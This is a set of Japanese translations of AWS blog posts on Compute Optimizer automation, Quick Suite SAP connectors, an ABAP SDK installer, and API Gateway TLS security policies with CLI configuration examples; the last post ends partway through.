開発環境のクリーンアップであれ、最新世代のテクノロジーの活用であれ、自動化ルールは最適化プロセスを効率化するためのスケーラビリティ、一貫性、運用上の安全性を提供します。非本番環境のワークロードから始めて、段階的な拡大を通じて確信を深め、戦略的に規模を拡大することで、AWS インフラストラクチャ全体で継続的なコスト削減とパフォーマンスの向上を実現できます。 AWS Compute Optimizer コンソールにアクセスし、新しい「自動化 (Automation)」セクションを確認して使用を開始してください。詳細については、 AWS Compute Optimizer ユーザーガイドのドキュメント をご参照ください。 Jimmy Yang Jimmy Yang はシニアプロダクトマネージャーで、お客様のクラウド投資を最大限に活用できるよう支援することに注力しています。コスト管理における課題についてお客様と対話し、それらを解決するための新しい製品体験を構築することを楽しみにしています。 翻訳はテクニカルアカウントマネージャーの堀沢が担当しました。原文は こちら です。

日々、企業は根本的な課題に直面しています。SAPシステムには、サプライヤーとの関係、在庫レベル、財務取引、生産計画など、企業運営を推進するビジネスクリティカルなデータが含まれています。しかし、ワークフロー自動化のためにこのデータにアクセスするには、従来、複雑なカスタム統合、専門的なSAP知識、そして多大な開発時間が必要でした。SAPデータと非SAPデータの両方に依存するビジネスプロセスは、従来、これらのソースを統合するために膨大な開発者の労力を必要としていました。サプライチェーンマネージャーを含む事業部門チームはリアルタイムの混乱分析を必要とし、財務チームは請求書の自動例外処理を望み、調達スペシャリストは即座のサプライヤーリスク評価を必要としています。それでも、これらのビジネスニーズを自動化に変えることは複雑なままでした — しかしそれは過去の話です。 Amazon Quick SuiteのAWS Action Connectors for SAP 2025年10月、AWSは Amazon Quick Suite を発表しました。これは、従業員がインサイトの発見、詳細な調査の実施、タスクの自動化、データの可視化、アプリケーション全体でのアクション実行の方法を変革するのを支援する新しいエージェント型チームメイトです。Quick Suiteは、SAP、ServiceNow、PagerDuty、Asanaなどの人気のあるサードパーティアプリケーションと統合し、データを取り込み、ユーザーがQuick Suiteインターフェース内でタスクを作成し、チケットを開き、アクションを実行できるようにします。 このブログでは、Quick Suite内で利用可能なSAP用の組み込みコネクタと、お客様が Amazon Quick Automate を使用してこれらのコネクタを活用し、ビジネスオペレーションを合理化する強力な自動化を構築する方法について説明します。Quick Automateは、企業が大規模で回復力のある自動化を構築、展開、維持できるようにするQuick Suiteの機能です。AWS Action Connectors for SAPは、お客様がライブSAPデータに対してリアルタイムの読み取り操作を実行できるようにし、Quick AutomateがSAP S/4HANAなどのSAP ERPシステムとシームレスに対話できるようにします。さらに、これらのコネクタは、SAP API、認証、データ交換の技術的な複雑さを自動的に処理します。Quick Automateは、構造化されたワークフロー定義とプロセス定義ドキュメントを通じて、複雑なSAP統合をビジネスユーザーがアクセスできるようにすることで、エンタープライズ自動化を変革しています。カスタム開発を数か月待つ代わりに、お客様は数時間でAI駆動のSAP自動化を構築できるようになりました。 このリリースには、一般的なエンタープライズ自動化シナリオに対応するSAP S/4HANA用の5つのコネクタが含まれています。各コネクタは、特定のAPIエンドポイントをアクションとして提供し、正確なデータ取得(読み取り専用)とワークフロー自動化を可能にします: Business Partner: ベンダー分析とお客様の人口統計評価のための包括的なビジネスパートナー、サプライヤー、お客様データにアクセスします。 Product Master: 包括的な在庫管理のための重要な資材データ、プラント情報、供給計画の詳細を取得します。 Bill of Materials: 製品の依存関係と製造要件を理解するために、資材構造とコンポーネントの関係を照会します。 Physical Inventory Documents: 正確な照合プロセスと包括的な監査証跡の維持のために、在庫ドキュメントの転記と在庫移動にアクセスします。 Material Stock: 正確な可用性追跡と在庫最適化のために、場所別のリアルタイム在庫レベルと在庫ポジションを取得します。 詳細なAPI仕様については、各サービスエンドポイントに対応するSAP APIドキュメントを参照できます。自動化を構成する際は、リストされたアクション名を使用して、自動化シナリオが必要とする特定のデータセットにアクセスしてください。 GenpactがAmazon Quick Automateを使用してお客様に代わってサプライチェーンリスク評価を自動化した方法 Genpactは、深い業界知識、プロセスインテリジェンス、ラストマイルの専門知識で認められたエージェント型および先進技術ソリューション企業です。深い業界専門知識とビジネスプロセスの洞察力を持つ同社は、AWSと提携し、Quick Automate上にAI駆動のサプライチェーンレジリエンスソリューションを構築し、エンタープライズリスク管理を変革しました。このソリューションのインテリジェントで自動化されたサプライチェーン監視機能を備えることで、組織は複数のSAPモジュール全体で数分で混乱の影響を評価できます—これは、手動分析に通常必要な2〜3日から劇的な改善です。外部リスク監視システムがサプライチェーンの混乱を検出すると、自動化されたワークフローは、Business Partner Master、Product Master、Bill of Materials、Inventory Managementシステム全体でデータ収集を即座に調整し、ビジネスへの影響の優先順位を計算し、代替調達や関係者への通知などの適切な対応アクションをトリガーします。この画期的なソリューションは、リアルタイムのクロスシステム調整により24時間体制のサプライチェーン保護を提供し、GenpactをAI駆動のビジネスプロセス変革のリーダーとして位置付けています。 Quick AutomateとSAPコネクタを使用すると、自動化された応答プロセスの概要を示す構造化されたワークフローを直感的なユーザーインターフェースを通じて作成できます: 図1: Genpactによって実装されたサプライチェーン混乱対応プロセス この種の自動化されたデータ駆動型アプローチは、企業が回復力を維持し、問題が発生したときにより迅速に対応するのに役立ち、棚に商品を並べ、お客様を満足させ続けます。 SAPアクションは、フィルタリング基準や選択パラメータなどの追加パラメータを指定することでカスタマイズできます。構造化されたプロセスドキュメントを通じて定義されたこの複雑なワークフローは、数分で自動的に実行され、プロアクティブなサプライチェーンリスク管理を可能にします。 AWS Connectors for SAPの使用開始 Quick AutomateでAWS Action Connectors for SAPの使用を開始するには: Amazon Quick Suiteにアクセス: AWS Connectors for SAPは現在、Amazon Quick Suite Integrationsを介してすべてのお客様が利用できます。 接続のセットアップ: Quick Suiteコンソールを通じてSAPシステムへの安全な接続をセットアップし、コネクタで実行する必要なアクションを構成します。 アクションの検出: 接続のセットアップが成功すると、この統合の一部として有効化されたアクションのセットが表示されます。 自動化グループの作成: 次に、Quick Automate Projectsに移動し、Manage groupsをクリックして自動化グループをセットアップし、作成した統合を「Actions」としてオンボードします。 自動化の定義: 次に、自動化プロジェクトを作成し、ビジネスプロセスの概要を示すワークフロー仕様に作成した自動化グループを追加し、適切なSAPコネクタを活用します。 テストと改善: 展開前に生成された自動化をレビュー、テスト、変更します。 展開と監視: 自動化を実行し、Studio経由でパフォーマンスを監視します。 AWS Action Connectors for SAPは、エンタープライズセキュリティ要件を念頭に置いて構築されています: 安全な認証: 現在利用可能な基本認証のサポートと、まもなく利用可能になるOAuthのサポート。 データプライバシー: SAP内で管理されるデータガバナンスと承認(ユーザーとロール)。 これらのコネクタのセットアップに関する詳細なガイダンスについては、 AWSドキュメント を参照してください。今日からAmazon Quick Suiteの使用を開始するには、 スタートガイドページ にアクセスしてください。 SAP on AWSディスカッションに参加 AWSアカウントチームとサポートチャネルに加えて、最近 re:Post を立ち上げました—AWSコミュニティのための再構築されたQ&A体験です。AWS for SAP Solution Architectureチームは、お客様とパートナーを支援するために回答できるディスカッションや質問について、AWS for SAPトピックを定期的に監視しています。質問がサポート関連でない場合は、re:Postでのディスカッションに参加し、コミュニティナレッジベースに追加することを検討してください。SAPワークロードをAWSに移行する方法の詳細については、 SAP on AWS ページをご覧ください。 謝辞 Amazon Quick Suiteを活用したSAPサプライチェーン向けエージェントAIソリューションを構築するためのAWSとGenpactの戦略的コラボレーションは、お客様がインテリジェントな自動化を通じてサプライチェーンオペレーションを最適化するのに役立ちます。この変革的なパートナーシップを築く上で基本となった専門知識、ビジョン、協力的な精神を持つGenpactリーダーシップ、AWS GenAIスペシャリスト、および拡張AWSサービスチームに感謝の意を表します。 Shriram Bidkar – Associate Vice President, AWS Solutions James Avellone – Director, Sourcing and Procurement Advisory Perryn Stewart – Vice President, Supply Chain Management Reagan Rosario – WWSO Specialist SA- GenAI, AWS Naresh Rajaram – Partner Solution Architect, AWS 著者について Rengarajan Sridharanは、AWS EC2 Commercial Applicationsのシニアテクニカルプログラムマネージャーで、SAPおよびVMwareワークロードに焦点を当てたプログラムを推進しています。エンタープライズリソースプランニング(ERP)ソリューションで20年以上の経験を持つRengaは、お客様がビジネス価値とデジタルトランスフォーメーションの成果を最大化するためにエンタープライズシステムをモダナイゼーションするのを支援することを専門としています。 Apoorva Chandraは、AWSのEC2 SAP Engineeringチームのシニアプロダクトマネージャー – テクニカルで、AWS上でワークロードを実行するSAPエンタープライズのお客様向けのモダナイゼーションとエコシステムイニシアチブをリードしています。彼女の焦点は、お客様がSAPランドスケープを強化するために生成AIと分析サービスの可能性を最大限に引き出すのを支援することです。 Shriram Bidkarは、Genpactのアシスタントバイスプレジデントで、戦略的能力と運用効率を向上させるサプライチェーン変革のためのAWS駆動のエージェントAIソリューションを専門としています。25年以上の経験を持つ彼は、Genpactのお客様に測定可能なビジネス成果をもたらすクラウド移行、モダナイゼーション、AI自動化イニシアチブを推進しています。 James Avelloneは、Genpactの調達およびプロキュアメントアドバイザリープラクティスのディレクターで、クライアントと協力して戦略的能力と運用効率を向上させるサプライチェーン変革を開発および実行しています。業界で15年以上の経験を持つJamesは、ターゲットオペレーティングモデルの設計、データ分析、テクノロジー実装の経験を持つ調達およびソーシングスペシャリストです。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

AWS SDK for SAP ABAP（以下「ABAP SDK」）は、SAP ABAPベースのソフトウェアおよびシステムとAWSサービスとの統合を容易にするために、 2023年半ばに初めてリリース されました。 他のAWS SDK と同様に、ABAP SDKは一連のモジュールとして提供され、開発プロジェクトにインポートすることで、標準化され、安全でスケーラブルな方法でAWSサービスAPIにアクセスできます。ほとんどのAWS SDKは、通常インポート後すぐに使用できます。しかし、SAP ABAP ベースのシステムでは、 SAPの変更および移送システム（CTS） を使用した、より詳細な セットアップ と 設定 プロセスが必要です。さらに、ABAP SDKは現在、400を超える個別の移送ファイルにまで成長しています。 そのため、SAP ABAP開発者およびSAP BASIS管理者がより迅速に作業を開始できるようにするため、本ブログでは、ABAP SDK用のグラフィカルインストーラー（以下「 ABAP SDKインストーラー 」）を紹介します。これは、 GitHub でスタンドアロンのABAPレポートとして本日より利用可能であり、簡単なデプロイのために、SAP開発およびテストシステムの新しいABAPレポートに単純にコピー＆ペーストできます。このレポートは、パッケージマネージャーのようなUIを提供し、ABAP SDKモジュールのインストール、更新、削除を簡単なポイント＆クリック操作で実行できるとともに、SAPシステムに現在インストールされているSDKの部分と利用可能な更新の包括的な概要を提供します。さらに、必要なSSL証明書のインストールやABAP SDK移送ファイルのダウンロードなどの付随タスクの自動化にも役立ちます。 前提条件: SAP RISEへのデプロイの場合 このレポートは、以下の前提条件の下で、SAP RISEシステムにもデプロイおよび実行できます: Gitベースのインストール（つまり、コピー/ペースト以外）の場合、SAP RISEシステムは github.com に接続できる必要があります ABAP SDKをダウンロードするには、SAP RISEから aws.amazon.com への接続が必要です 接続に必要なAmazon SSL証明書は、 amazontrust.com からダウンロード可能である必要があります オプション : SAP RISEシステムからのインターネットアクセスがプロキシ経由で行われる場合、SAP RISEシステムのICMを適切に設定し、上記のサイトをそれぞれのプロキシで許可リストに追加する必要があります。本記事執筆時点では、これらはSAP RISE環境に付属するプロキシの標準許可リストには含まれていません。 はじめに 初回起動時、 ABAP SDKインストーラー は、実行されているSAPシステムが、AWSサービスAPIとの通信に必要なすべてのAmazon SSLルート証明書をSAPトラストストア（トランザクション STRUST ）に保存しているかどうかを確認します。そうでない場合、レポートは Amazon Trust Services から不足している証明書を自動的にダウンロードして管理できます。その後、ユーザーには、SAPシステムに現在インストールされているすべてのABAP SDKモジュールの概要（「 Installed ABAP SDK Modules 」）と、ツリー状のフォルダービューで利用可能なすべてのモジュールのリストが表示されます。「 Available ABAP SDK Modules 」フォルダーには、 最も人気のあるモジュール をリストするサブフォルダーもあります。 最初のフォルダーには、ABAP SDKの機能における重要な役割を強調するために、 ABAP SDKコア モジュールのみが含まれています。ABAP SDKがまだSAPシステムに存在しない場合、コアトランスポートは、初期デプロイ用に選択された他のモジュールとともにインストールする必要があります。ユーザーは、モジュール名の横にあるチェックボックスをクリックし、 <Execute all> または <Execute All (batch)> のいずれかを押すことでこれを行うことができます。その後、レポートは、インストールおよびアンインストール用の最新のABAP SDK .zipアーカイブがSAPシステムのファイルシステムに存在するかどうかを確認します。存在しない場合は、自動的にダウンロードされ、その後アクセスされて、SAPのCTSツールでインポートするために必要なトランスポートファイルが抽出されます。完全に新しいインストール、つまりコアとさらに選択されたモジュールは、少し時間がかかる場合があることに注意してください（バッチモードを推奨）。 ABAP SDKモジュールの管理 起動時および <Refresh> ボタンを押した後、 ABAP SDKインストーラー レポートは、ABAP SDKダウンロードリポジトリでABAP SDKの最新バージョンを確認し、利用可能な場合は、インストールされているすべてのモジュールを更新用にマークします。ABAP SDKインストールの整合性を保つため、現在、異なるモジュールバージョンの混在は許可されていません。インストールされているすべてのモジュールは、現在インストールされているABAP SDKコアモジュールと同じバージョンである必要があります。信号機インジケーターの右側の列には、 <Execute all> または <Execute All (batch)> のいずれかを押した後、レポートがモジュールに対して何を行うかの自然言語による説明が表示されます。後者のオプションは、レポートを実行しているSAP GUIウィンドウへのアクセスをブロックせず、それぞれのモジュールに「Processing…」ステータスを表示することで進行中の操作を示します。 追加のモジュールのインストールは、 「Available modules」フォルダー でそれぞれのチェックボックスを選択することで実行できます。リストで目的のモジュールを見つけるのに問題がある場合は、 虫眼鏡/拡大鏡アイコン でラベル付けされた検索機能ボタン（設定されたSAP GUI（テーマ）によって異なります）が役立ちます。モジュールの3文字の頭字語（TLA）名の左側にあるそれぞれのチェックボックスを選択します。レポートは、すべてのモジュールをABAP SDKの最新バージョンにインストールおよび更新するオプション（ <Execute …> オプション）、または更新なしで選択したモジュールのみをインストールするオプション（ <Install only …> オプション）を提供します。後者の場合、ABAP SDKインストーラーは、システムにまだ存在しない場合、それぞれのABAP SDK .zipファイルバージョンをダウンロードします。 すべての目的のモジュールのチェックボックスが選択されたら、再度 <Execute all> / <Execute All (batch)> を押してインストールおよび更新するか、 <Install only> / <Install only (batch)> を押して更新なしでインストールのみを行い、レポートが自動的にダウンロードしてSAPシステムにインポートするようにします。システムに存在するすべてのモジュールは、「 Installed ABAP SDK modules 」フォルダーの下に表示されます。ABAP SDKの新しいバージョンが利用可能な場合、GUIはそれに応じて表示します。 モジュールの削除も同じ方法で機能します: モジュールのTLAの横にあるチェックボックスの選択を解除すると、削除用に設定され、赤い信号機サインと、右端の2つの列にモジュールが削除されることを示すメッセージでさらに示されます。 <Execute all> または <Execute All (batch)> を押すと、選択解除されたすべてのモジュールの削除トランスポートのインポートが開始され、SDKの新しいバージョンが利用可能な場合は、残りのすべてのモジュールが同時に更新されます。 <Delete only> / <Delete only (batch)> オプションは、更新なしで削除実行をトリガーします。システムに多数のモジュールが存在し、それらすべてを削除したい場合は、「 Delete/De-Select all installed modules 」ボタンを使用して迅速に実行でき、この段落で前述したボタンの選択肢のいずれかを押します。この決定を取り消すには、「 Update/Select all installed modules 」をクリックします。ABAP SDKコアモジュールは、他のすべてのモジュールが削除用に選択されているか、他のモジュールがシステムに存在しない場合にのみ削除できます。 レポートは、個々のモジュールをより詳しく調べることも容易にします。「フォワードナビゲーション」のような方法で モジュール名 、 利用可能なバージョン 、または トランスポートID（TID） をダブルクリックすると、そのモジュールの対応するAPIドキュメントページがブラウザで開きます。 インストール済みバージョン / TID に対して同じことを行うと、インポート中に記録されたそのモジュールのオブジェクトリストに移動します。 TP RC 、 最後のメッセージ 、または トランスポートステータスアイコン をダブルクリックしてフォワードナビゲーションすると、そのモジュールの最新のインポート実行のトランスポートログの概要に移動します。 バックグラウンド処理と追加のダウンロードボタン 特に、多数のモジュールがインストールされていて更新または削除用に設定されている場合、または一度に5つ以上のモジュールをインストールしたい場合は、 <… (batch)> とラベル付けされたボタンを使用してインポートを開始し、バッチモードで実行することをお勧めします。これにより、SAPシステムでバッチジョブが起動され、チェックボックスの編集をブロックすることで、モジュール選択へのさらなる入力が防止されます。バックグラウンドでレポート実行を開始すると、インストールおよび削除の現在のモジュール選択がSAPセッションの共有メモリ領域に書き込まれ、操作が完了するまでそこに保持されます。これにより、レポートは入力をまだブロックする必要があるかどうかを判断できます。 トランザクションSM37に移動し、レポートのような名前のインポートジョブを探すことで、レポートの進行状況を確認できます。ジョブは、完了時にサマリースプール出力も生成します。 <Refresh> ボタンを押すと、インポートジョブがまだ実行中かどうかをさらに調査し、その場合は視覚的なステータス表示を提供します。また、「 Background job details 」ボタンをクリックすることで、いつでもバックグラウンドジョブ番号を表示できます。更新時に、現在実行中の操作の中間結果が断続的に表示される場合があります。たとえば、他のモジュールがすでに削除されている間、モジュールがまだインストール済みとして表示されるなどです。 さらに、Amazon SSLルート証明書を更新する必要がある場合は、「 Install SSL Certificates 」ボタンを押すことで実行できます。最新のABAP SDK .zipファイルをシステムにダウンロードして準備しておきたい場合は、「 Download current SDK 」ボタンを押すことでも実行できます。 現在の制限事項 レポートは現在、実行されているSAPシステムがHTTP(S)を許可するインターネット接続を必要とし、真のオフライン体験を提供していません。SAPシステムは、SSL証明書をダウンロードするために Amazon Trust Servicesウェブサイト 、および ABAP SDKダウンロードページ と ABAP SDK APIドキュメント へのHTTPおよびHTTPS接続を確立できる必要があります。また、現在、手動でダウンロードしたABAP SDK .zipファイルへのパスを指定するオプションもありません。お客様がこれに対する需要がある場合、レポートの将来の改訂で対処できます。さらに、レポートを介してすべてのモジュールをインストールすることは技術的には可能ですが（たとえば、トレーニングシステムなどのエッジケース用）、すべてのチェックボックスをクリックするのは面倒になる可能性があります。このユースケースのために、AWSは現在、利用可能なすべてのモジュールのダウンロードと一括インストールを支援する コマンドラインbashスクリプト を提供しています。ただし、一般的には、特定のユースケースに必要なモジュールのみをインストールすることをお勧めします。これに加えて、 ABAP SDKインストーラー は、現時点では AWS SDK for SAP ABAP – BTP Edition をサポートしていません。最後に、レポートはABAP SDKのインストールの開始や最新の状態を保つのに役立ちますが、現在、自身を更新する手段がないため、最新のリリースを取得するために GitHubリポジトリ を時々確認することをお勧めします。 まとめと次のステップ AWS SDK for SAP ABAP は、お客様が使い慣れたプラットフォームから標準的で実証済みの方法でSAPシステムを強化および拡張する可能性を提供するために構築されました。このブログ投稿で紹介したABAP SDKインストーラーは、お客様がSAP ABAP ベースの開発システムで実験および評価できるように、ABAP SDKのデプロイを加速および簡素化するのに役立ちます。ぜひお試しください！ GitHubリポジトリ からレポートを入手し、興味のあるモジュールを探索してダウンロードし、たとえば、お客様がSAPシステムと Amazon Q や Amazon Bedrock などのAWS AIサービスを組み合わせることでどのように利益を得られるか、または イベント駆動型アーキテクチャ を実現する方法についての、他の複数の AWS for SAPブログ から始めてください。AWS SDK for SAP ABAPには、最も一般的なAWSサービスでABAP SDKを処理する方法を理解するために使用できる多数の コード例 もあります。最後に、AWSでは、お客様のABAP SDKのアイデア、質問、成功事例についてお聞きしたいと考えていますので、お気軽にお問い合わせください！AWSは、 re:Postサイト で公開ディスカッション、質問と回答のフォーラムを提供しています。 AWS for SAP ソリューションアーキテクチャチームは、ディスカッションや質問のためにAWS for SAPトピックを定期的に監視しています。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

本記事は 2025年11月21日 に公開された「 Enhancing API security with Amazon API Gateway TLS security policies 」を翻訳したものです。 コンプライアンスフレームワークが進化し、暗号化標準が進歩するにつれて、組織はクラウドセキュリティ体制を改善するための追加の制御を求めています。必要な制御の1つは、より詳細な TLS 設定です。たとえば、規制要件で CBC のような古い暗号を無効にすることや、TLS 1.3 を最小バージョンとして強制することが義務付けられている場合などです。 この記事では、新しい Amazon API Gateway の強化された TLS セキュリティポリシーが PCI DSS 、 Open Banking 、 FIPS などの標準を満たすのにどのように役立つのかや、API が TLS ネゴシエーションを処理する方法を強化する仕組みについて学びます。この新機能は、運用の複雑さを増やすことなくセキュリティ体制を向上させ、API Gateway インフラストラクチャ全体で TLS 設定を標準化する単一の一貫した方法を提供します。 概要 以前、API Gateway は TLS 設定に対する制御が限定的で、カスタムドメイン名に対してのみ提供されていました。デフォルトエンドポイントは固定のセキュリティポリシーを使用していたため、組織のセキュリティやコンプライアンス要件を満たすために、カスタム Amazon CloudFront ディストリビューションなどの追加インフラストラクチャを導入する必要がありました。 今回のリリースにより、すべての REST API エンドポイントタイプ （リージョナル、エッジ最適化、プライベートを含む）で TLS 動作を直接設定し、API とそのカスタムドメイン名の両方に一貫した TLS 設定を適用できます。ワークロードが必要とする最小 TLS バージョンと暗号スイートを強制するために、事前定義された強化セキュリティポリシーから選択できます。たとえば、TLS 1.3 を強制したり、CBC 暗号なしで強化された TLS 1.2 を使用したり、政府ワークロード向けに FIPS に準拠したスイートを採用したり、 ポスト量子暗号 （PQC）を含むポリシーで将来に備えたりできます。新しいセキュリティポリシーは、運用の複雑さを増やすことなく、より細かい制御を提供し、進化するセキュリティとコンプライアンスの期待に API を適合させるのに役立ちます。 API Gateway セキュリティポリシーの理解 API Gateway のセキュリティポリシーは、最小 TLS バージョンと厳選された暗号スイートのセットの事前定義された組み合わせです。クライアントが REST API またはカスタムドメイン名に接続すると、API Gateway は選択されたポリシーを使用して、TLS ハンドシェイク中に受け入れるプロトコルバージョンと暗号を決定します。これにより、クライアントが API への暗号化接続を確立する方法を予測可能かつ強制可能な方法で制御できます。 API Gateway は 2 つのカテゴリのセキュリティポリシーをサポートしています。 TLS_1_0 や TLS_1_2 などのレガシーポリシーは、下位互換性のために引き続き利用可能です。 SecurityPolicy_* プレフィックスで識別される強化ポリシーは、規制されたワークロード、高度なガバナンス、または暗号化の強化に対して、より厳格で最新の制御を提供します。強化ポリシーを使用する場合は、エンドポイントアクセスモードも指定する必要があります。これにより、トラフィックが API に到達する方法に対する追加の検証が追加されます。詳細は以下のセクションで説明します。 強化ポリシーは、各ポリシーが何を強制するかを素早く理解するのに役立つ一貫した命名パターンに従っています。たとえば、REGIONAL および PRIVATE エンドポイントタイプの場合、次のパターンが適用されます： SecurityPolicy_[TLS-Versions]_[Variant]_[YYYY-MM] この構造から、サポートされる最小 TLS バージョン、特殊な暗号化バリアント（FIPS、PFS、PQ など）、およびポリシーのリリース日を識別できます。たとえば、 SecurityPolicy_TLS13_1_3_2025_09 は TLS 1.3 トラフィックのみを受け入れ、 SecurityPolicy_TLS13_1_2_PFS_PQ_2025_09 は TLS 1.2 を最低、TLS 1.3 を最高 TLS バージョンとして、前方秘匿性とポスト量子拡張をサポートします。 各ポリシーは、厳選された暗号の組み合わせにマッピングされます。たとえば、 SecurityPolicy_TLS13_1_3_2025_09 は、3 つの TLS 1.3 暗号スイート（ TLS_AES_128_GCM_SHA256、TLS_AES_256_GCM_SHA384 、および TLS_CHACHA20_POLY1305_SHA256 ）のみを受け入れ、他のプロトコルバージョンや暗号を拒否します。サポートされているポリシーと暗号の完全なリスト、および EDGE エンドポイントタイプの命名パターンについては、 API Gateway ドキュメント をご参照ください。 セキュリティポリシーをデフォルトエンドポイントとカスタムドメインに適用する方法 API Gateway を使用して、デフォルト API エンドポイントとカスタムドメイン名に異なるセキュリティポリシーを適用できます。TLS ネゴシエーション中、API Gateway は、HTTP Host ヘッダーではなく、クライアントの TLS ハンドシェイクの Server Name Indication（SNI）値に基づいてポリシーを選択します。つまり、ポリシーは、クライアントが TLS を開始するときに使用するホスト名に依存します。 たとえば、クライアントがデフォルトエンドポイントに直接接続する場合： https://abcdef1234.execute-api.us-east-1.amazonaws.com SNI 値がそのホスト名と一致するため、API Gateway はそのデフォルトエンドポイントに適用されたポリシーを使用します。 クライアントが代わりにカスタムドメイン名を介して接続する場合： https://api.example.com API Gateway はそのカスタムドメインに適用されたポリシーを使用します。この場合、SNI 値 api.example.com がどのポリシーが強制されるかを決定します。 この区別は、デフォルトエンドポイントを無効にした場合でも重要です。TLS ネゴシエーションは常に API Gateway がエンドポイント設定を評価する前に発生するため、デフォルトエンドポイントセキュリティポリシーは、そのホスト名に直接接続するクライアントに引き続き適用されます。予期しないクライアント動作を避けるために、可能な限り API とそのカスタムドメイン名を同じセキュリティポリシーで整合させる必要があります。 エンドポイントアクセスモードの理解 強化セキュリティポリシー（ SecurityPolicy_* ）を使用する場合、エンドポイントアクセスモードも指定する必要があります。エンドポイントアクセスモードは、リクエストが API に到達する前に、API Gateway がネットワークパスをどの程度厳密に検証するかを定義します。これにより、追加のガバナンス層が提供され、不正または誤ってルーティングされたトラフィックを防ぐのに役立ちます。 2 つのモードから選択できます： BASIC モードは、標準的な API Gateway の動作を提供します。既存の API を強化セキュリティポリシーに移行する際の推奨される開始点です。クライアントは、追加の検証なしで、現在と同じように API に到達し続けることができます。 STRICT モードは、リクエストが正しいエンドポイントタイプから発信され、TLS ネゴシエーションが設定と整合していることを確認するための強制チェックを追加します。 STRICT モードを有効にすると、API Gateway は次のような追加の検証を実行します： SNI と HTTP Host ヘッダー値が一致する リクエストが API と同じエンドポイントタイプ（リージョナル、エッジ最適化、またはプライベート）から発信される これらの検証のいずれかが失敗すると、API Gateway はリクエストを拒否します。 STRICT は、規制されたワークロードや機密性の高いワークロードを実行する場合など、より強力なセキュリティ保証が必要な場合に適した選択肢です。詳細については、 API Gateway ドキュメント をご参照ください。 BASIC から STRICT モードに切り替えると、変更が完全に伝播するまでに最大 15 分かかります。この期間中、API は引き続き利用可能です。エンドポイントアクセスモードが STRICT に設定されている場合、モードを BASIC に戻すまでエンドポイントタイプを変更できません。 新規および既存の API へのセキュリティポリシーの適用 新しい REST API またはカスタムドメイン名を作成するときにセキュリティポリシーを適用することも、既存のリソースを更新して強化された SecurityPolicy_* オプションのいずれかを使用することもできます。既存の API を移行する場合、推奨されるアプローチは、BASIC モードから開始し、クライアントの動作（SNI と HTTP Host ヘッダー値が一致し、リクエストが API と同じエンドポイントタイプから発信される）を検証してから、互換性を確認した後に STRICT モードに移行することです。 以下のコードスニペットは、さまざまなシナリオにセキュリティポリシーを適用する方法を示しています： セキュリティポリシーと STRICT エンドポイントアクセスモードで REST API を作成する API 作成時にセキュリティポリシーを直接適用でき、TLS ネゴシエーションを制御するためだけに追加のインフラストラクチャを必要としません。 aws apigateway create-rest-api \ --name "your-private-api-name" \ --endpoint-configuration '{"types":["PRIVATE"]}' \ --security-policy "SecurityPolicy_TLS13_1_3_2025_09" \ --endpoint-access-mode STRICT \ --policy file://api-policy.json セキュリティポリシーと STRICT エンドポイントアクセスモードでカスタムドメイン名を作成する カスタムドメイン名を作成するときにもセキュリティポリシーを指定できます。API Gateway は、クライアントが提供する SNI 値に基づいて、TLS ネゴシエーション中に選択されたポリシーを適用します。 aws apigateway create-domain-name \ --domain-name api.example.com \ --regional-certificate-arn arn:aws:acm:region:account-id:certificate/certificate-id \ --endpoint-configuration '{"types":["REGIONAL"]}' \ --security-policy SecurityPolicy_TLS13_1_3_2025_09 \ --endpoint-access-mode STRICT 既存の REST API の更新 既存の API を移行する場合は、まず BASIC モードで強化セキュリティポリシーを適用します。クライアントが BASIC モードで期待どおりに接続できることを確認した後、STRICT モードを有効にします。 1. BASIC モードで新しいポリシーを適用する aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/securityPolicy", "value": "SecurityPolicy_TLS13_1_3_2025_09" }, { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' アクセスログ と Amazon CloudWatch の パフォーマンスメトリクス を使用して、クライアントが期待どおりに API を利用できることを確認します。 2. 検証後に STRICT モードを有効にする aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "STRICT" } ]' 既存のカスタムドメイン名の更新 カスタムドメイン名は、REST API と同じ移行アプローチに従います。 1. BASIC モードで新しいポリシーを適用し、クライアントが正常に接続できることを検証します。 aws apigateway update-domain-name --domain-name api.example.com --patch-operations '[ { "op": "replace", "path": "/securityPolicy", "value": "SecurityPolicy_TLS13_1_3_2025_09" }, { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' 2. 検証後に STRICT モードを有効にする aws apigateway update-domain-name --domain-name api.example.com --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "STRICT" } ]' REST API またはカスタムドメイン設定を更新した後、ステージが新しい設定を受け取るように API を再デプロイします。セキュリティポリシーを変更すると、更新が完了するまでに最大 15 分かかります。変更が伝播している間、API ステータスは UPDATING と表示され、完了すると AVAILABLE に戻ります。このプロセス全体を通じて、API は完全に機能し続けます。 エンドポイントアクセスモードのロールバック STRICT モードを適用した後にクライアントが API への接続に失敗する場合は、いつでもエンドポイントアクセスモードを BASIC に戻すことができます。以下のコードスニペットは、REST API に対してこれを行う方法を示しています。 aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' 同じアプローチを使用してカスタムドメイン名を更新できます。 TLS 使用状況とポリシー移行の監視 強化セキュリティポリシーを採用する際、クライアントが API との暗号化接続をどのようにネゴシエートするかを理解することが重要です。監視は、クライアントの準備状況を確認し、更新が必要なレガシーコンシューマーを特定し、ロールアウト中に STRICT エンドポイントアクセスモードが期待どおりに動作することを検証するのに役立ちます。プロトコルと暗号の使用状況を経時的に監視するには、次の API Gateway アクセスログ変数 を使用します。 $context.tlsVersion – ネゴシエートされた TLS バージョン $context.cipherSuite – ハンドシェイク中に選択された暗号スイート これらの変数を使用して、次のことを確認できます： クライアントが期待される最小 TLS バージョンを使用している 強化ポリシーに移行した後、CBC ベースの暗号が使用されなくなった PQC および FIPS に準拠したポリシーが適切なクライアントによって使用されている アクセスログは、移行中に特に有用です。実際のクライアント動作を検証することは、STRICT モードを有効にする前の前提条件です。たとえば、BASIC モードで強化ポリシーを適用した後も、TLS 1.0 または TLS 1.2 CBC 暗号をネゴシエートしているライブクライアントが観察される場合、影響を受けるクライアントを特定し、STRICT モードに切り替える前に修復を計画できます。 将来を見据えたセキュリティ設定 